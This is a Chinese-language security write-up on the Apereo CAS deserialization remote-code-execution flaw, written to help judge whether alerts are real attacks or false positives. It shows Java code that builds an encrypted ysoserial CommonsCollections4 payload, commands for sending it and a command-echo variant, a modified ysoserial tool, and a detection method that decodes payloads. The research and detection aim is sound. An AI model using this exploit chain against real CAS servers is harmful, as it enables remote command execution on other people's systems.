1)某次在客户现场,被问到从Apereo Cas RCE告警的举证信息(请求响应体)判断是否为真正的攻击还是误报,对于没复现过的我一脸懵逼地打开了各大论坛找资料,看是看得懂,主要解密也得花时间调试,于是就有了这篇文章。
2)又因为大部分师傅只是提了下回显利用的点子,实际上并没有放出完整回显的exp,所以就打算整一个完整的利用来学习下回显技术。其复现过程涉及到ysoserial的改造,几经折腾最后还是改好了,刺激。
本文主要从以下角度进行分析,漏洞利用复现,回显利用,ysoserial改造,检测思路。就不展开细讲原理了,好多师傅的文章已经讲得很通透了。
1)环境搭建可以参考文章
https://www.anquanke.com/post/id/198842
可以看到该AperoCas已经启动,使用浏览器访问,填入用户名和密码并使用burp进行抓包,repeater该数据包
2)使用工具生成利用payload
工具地址:
https://github.com/vulhub/Apereo-CAS-Attack
我这里是源码调试,就不直接编译成jar再运行了,具体使用方法请参考上面的地址
String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
EncryptedTranscoder et = new EncryptedTranscoder();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
byte[] code = et.encode(obj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);
3)burp发包执行命令
将上面生成的字符串贴到execution处,即可执行命令,下图为弹出计算器
回显的意义在于常常遇到站点所在系统环境不能出网(连接公网)的情况,回显会更加直接看到命令内容。
1) 使用改造后的工具生成payload
java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar encode CommonCollections4
将该payload替换至execution处,并在头部添加命令cmd:xxx
2)burp发包执行命令
查看Apereo-CAS-Attack的代码可以看到直接调用的et.encode生成最终利用字符串,我们们翻翻看decode解码的地方(既反序列化漏洞触发点)
当然以上步骤按照常理来说,我应该从Apereo的整个流程上看才是最全最合理的,但此处为了尽快写出工具,因此直接拿这个工具现改。
encode:
decode:
从EncryptedTranscoder.encode是生成利用字符串的关键,而EncryptedTranscoder.decode则是解码执行的关键。
可以看到进行解密和解压缩之后得到的字节内容,输入对象输入流ObjectInputStream并通过readObject进行反序列化。如果我们要做检测,那就必然不需要走到readObject这一步(除非你想被上线到别人的cs,并被进行多人运动,狗头.jpg)
因此这里直接复制整个类,并对类添加一个单独的方法,将字节内容直接输出到文件当中,保存到文件中之后可以直接查看内容。由于大部分人其实都是直接使用ysoserial中的payload因此很容易直接判断该流量为攻击流量。
使用方法
java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar decode base64stringxxxx 1.txt
若字符串中存在呢ysoserial字符则直接返回Detect ysoserial
根据其他师傅的文章进行对ysoserial进行的改造
这里添加一个ApereoCas的类里面的内容为
根据00TheWay师傅的文章提供的思路,不过最后落地的时候还是参考了l1nk3r和DreamXu师傅实现的代码,做了一个整合。
https://github.com/MrMeizhi/ysoserial-mangguogan
本文的exp仅仅用于研究学习用,若有其他恶意行为,自行承担责任。狗头.jpg
https://www.00theway.org/2020/01/04/apereo-cas-rce/
https://www.anquanke.com/post/id/198842
https://www.freebuf.com/vuls/226149.html